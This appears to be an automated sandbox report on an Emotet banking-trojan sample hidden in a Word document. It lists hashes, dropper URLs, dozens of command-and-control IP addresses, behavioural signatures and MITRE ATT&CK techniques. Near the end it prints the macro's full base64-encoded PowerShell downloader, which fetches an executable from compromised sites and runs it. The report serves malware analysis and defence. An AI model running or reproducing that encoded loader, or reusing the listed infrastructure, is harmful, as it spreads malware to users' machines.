emotet | 34ba7f0eb9d81cee11fd5a0e3d0883f8cb603e13f2d68ad1275faf9d342885cb

General

Target
U_PO_07222020EX.doc
Size 172KB
Sample200723-7h4tmlkwjx
SHA256 34ba7f0eb9d81cee11fd5a0e3d0883f8cb603e13f2d68ad1275faf9d342885cb
MD5 5ff5e8d2ec14c72d95b5aec36d02537e
SHA1 cb9fdae5510ac06488b30350d4ff5029dba02684
SHA512 1bdb84d228a7e3908944b60f169b44678a9187d73d11f07d8c03131518cfef475f5223c67e82f40c11e90689354d9bd8583688a52696532d2960a4dfddf37dc4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.gengduyw.com/wp-admin/q2J/
exe.dropper
http://crimsonrealtypoint.com/blogs/0DR9ph1g1s/
exe.dropper
https://grupoitalopoblano.com/wp-includes/65s7pub/
exe.dropper
http://banhangsivn.com/b9m0wc/umCqARlQb/
exe.dropper
http://arnoldscreekps.vic.edu.au/slam/j905/

Extracted

Family

emotet

C2

94.49.254.194:80
212.51.142.238:8080
91.231.166.124:8080
162.241.92.219:8080
79.98.24.39:8080
109.117.53.230:443
78.189.165.52:8080
113.160.130.116:8443
121.124.124.40:7080
101.187.97.173:80
168.235.67.138:7080
104.131.44.150:8080
5.39.91.110:7080
139.59.60.244:8080
81.2.235.111:8080
116.203.32.252:8080
61.19.246.238:443
176.111.60.55:8080
190.55.181.54:443
108.48.41.69:80
203.153.216.189:7080
103.86.49.11:8080
104.236.246.93:8080
75.139.38.211:80
169.239.182.217:8080
62.75.141.82:80
93.156.165.186:80
73.11.153.178:8080
157.245.99.39:8080
41.60.200.34:80
50.116.86.205:8080
31.31.77.83:443
209.182.216.177:443
62.138.26.28:8080
95.213.236.64:8080
95.179.229.244:8080
209.141.54.221:8080
91.211.88.52:7080
173.91.22.41:80
222.214.218.37:4143
37.187.72.193:8080
137.59.187.107:8080
139.130.242.43:80
46.105.131.87:80
87.106.139.101:8080
200.55.243.138:8080
5.196.74.210:8080
79.7.158.208:80
185.94.252.104:443
104.131.11.150:443
37.139.21.175:8080
190.108.228.62:443
24.1.189.87:8080
91.205.215.66:443
186.208.123.210:443
108.26.231.214:80
201.173.217.124:443
110.145.77.103:80
190.160.53.126:80
162.154.38.103:80
78.24.219.147:8080
210.165.156.91:80
109.74.5.95:8080
95.9.185.228:443
93.51.50.171:8080
200.41.121.90:80
46.105.131.79:8080
124.45.106.173:443
74.208.45.104:8080
153.126.210.205:7080
87.106.136.232:8080
190.144.18.198:80

rsa_pubkey.plain

Signatures

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1068	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1068	powersheLL.exe
1068	powersheLL.exe
1068	powersheLL.exe
3592	iertutil.exe
3592	iertutil.exe
3592	iertutil.exe
3592	iertutil.exe
3592	iertutil.exe
3592	iertutil.exe

Blacklisted process makes network request 4 IoCs

flow	pid	Process
17	1068	powersheLL.exe
28	1068	powersheLL.exe
30	1068	powersheLL.exe
32	1068	powersheLL.exe

Suspicious behavior: EmotetMutantsSpam 1 IoCs

pid	Process
3592	iertutil.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\remoteaudioendpoint\iertutil.exe	205.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
2212	205.exe
2212	205.exe
3592	iertutil.exe
3592	iertutil.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1068	696	powersheLL.exe	67

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030106082b0601050507030706082b0601050507030206082b0601050507030406082b060105050703030f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	powersheLL.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	powersheLL.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030106082b0601050507030706082b0601050507030206082b0601050507030406082b0601050507030353000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2212	205.exe
3592	iertutil.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 3592	2212	205.exe	76
PID 2212 wrote to memory of 3592	2212	205.exe	76
PID 2212 wrote to memory of 3592	2212	205.exe	76

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2212-8-0x0000000002290000-0x000000000229C000-memory.dmp	emotet
behavioral2/memory/3592-11-0x0000000002060000-0x000000000206C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\U_PO_07222020EX.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JAB0AGUAbgBsAGEAbwB5AHIAZQBpAHcAbABvAGEAZwA9ACcAdwBpAG8AcgBxAHUAYQBpAHIAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAQwBgAFUAcgBgAGkAdAB5AHAAUgBPAHQATwBDAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHEAdQBvAGkAdwBsAG8AeQB2AGEAdQBuAGIAbwB1AG4AIAA9ACAAJwAyADAANQAnADsAJABsAGUAdQBnAGgAaQBlAGYAPQAnAHAAbwBhAGIAZABhAGkAcAB2AGkAYQBsACcAOwAkAHIAaQBhAGwAbQBhAGUAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAcQB1AG8AaQB3AGwAbwB5AHYAYQB1AG4AYgBvAHUAbgArACcALgBlAHgAZQAnADsAJAB6AGkAbABxAHUAbwB1AHEAdQA9ACcAZwBlAHUAcQB1AHoAZQBvAGoAJwA7ACQAYwBhAGkAdABoAHQAaABlAGkAYwBoAGoAbwBhAHMAcQB1AG8AYQBkAD0AJgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMATABpAGUATgBUADsAJABmAGUAYQB4AHEAdQBvAHcAbgBvAHoAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGcAZQBuAGcAZAB1AHkAdwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQAyAEoALwAqAGgAdAB0AHAAOgAvAC8AYwByAGkAbQBzAG8AbgByAGUAYQBsAHQAeQBwAG8AaQBuAHQALgBjAG8AbQAvAGIAbABvAGcAcwAvADAARABSADkAcABoADEAZwAxAHMALwAqAGgAdAB0AHAAcwA6AC8ALwBnAHIAdQBwAG8AaQB0AGEAbABvAHAAbwBiAGwAYQBuAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADYANQBzADcAcAB1AGIALwAqAGgAdAB0AHAAOgAvAC8AYgBhAG4AaABhAG4AZwBzAGkAdgBuAC4AYwBvAG0ALwBiADkAbQAwAHcAYwAvAHUAbQBDAHEAQQBSAGwAUQBiAC8AKgBoAHQAdABwADoALwAvAGEAcgBuAG8AbABkAHMAYwByAGUAZQBrAHAAcwAuAHYAaQBjAC4AZQBkAHUALgBhAHUALwBzAGwAYQBtAC8AagA5ADAANQAvACcALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAYwBoAG8AZQBkAGMAbwBlAGQAPQAnAGoAdQB1AHcAYgBlAGUAagBoAGEAaQB5AHMAYQB1AGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGcAbwBhAGsAcQB1AGEAZQBqAGwAbwBhAGwAIABpAG4AIAAkAGYAZQBhAHgAcQB1AG8AdwBuAG8AegApAHsAdAByAHkAewAkAGMAYQBpAHQAaAB0AGgAZQBpAGMAaABqAG8AYQBzAHEAdQBvAGEAZAAuACIARABgAE8AVwBOAGAATABvAGAAQQBkAGYAaQBsAEUAIgAoACQAZwBvAGEAawBxAHUAYQBlAGoAbABvAGEAbAAsACAAJAByAGkAYQBsAG0AYQBlAGoAKQA7ACQAYgBpAGUAdABoAG4AZQBxAHUAeABpAHQAaAA9ACcAaABvAGUAbQBxAHUAaQBlAG4AJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJAByAGkAYQBsAG0AYQBlAGoAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADEAMQA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBlAGAAQQBgAFQAZQAiACgAJAByAGkAYQBsAG0AYQBlAGoAKQA7ACQAawB1AHUAawB2AG8AbwB2AD0AJwByAGEAdQBqAG4AbwBlAHMAawBvAG8AegAnADsAYgByAGUAYQBrADsAJABrAGEAYgB6AGEAbwBnAD0AJwByAG8AZQBrAHQAZQB1AGoAcwBvAHUAcQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAaAB1AHUAeAB2AGkAYQB5AHMAbwBvAHAAYgBvAHUAYwA9ACcAcABvAGEAYwBoAGQAbwB1AGoAJwA=
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Modifies system certificate store
PID:1068

C:\Users\Admin\205.exe
C:\Users\Admin\205.exe
1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\SysWOW64\remoteaudioendpoint\iertutil.exe
  "C:\Windows\SysWOW64\remoteaudioendpoint\iertutil.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: EmotetMutantsSpam
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:3592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2212-8-0x0000000002290000-0x000000000229C000-memory.dmp

Download

memory/3592-11-0x0000000002060000-0x000000000206C000-memory.dmp

Download

memory/3592-12-0x0000000000400000-0x0000000000489000-memory.dmp

Download

memory/3920-5-0x000001A27C097000-0x000001A27C09C000-memory.dmp

Download

memory/3920-4-0x000001A27C097000-0x000001A27C09C000-memory.dmp

Download

memory/3920-3-0x000001A27C097000-0x000001A27C09C000-memory.dmp

Download

memory/3920-2-0x000001A271FC4000-0x000001A271FD5000-memory.dmp

Download

memory/3920-0-0x000001A27BEB1000-0x000001A27BEB6000-memory.dmp

Download

memory/3920-1-0x000001A27BEB1000-0x000001A27BEB6000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads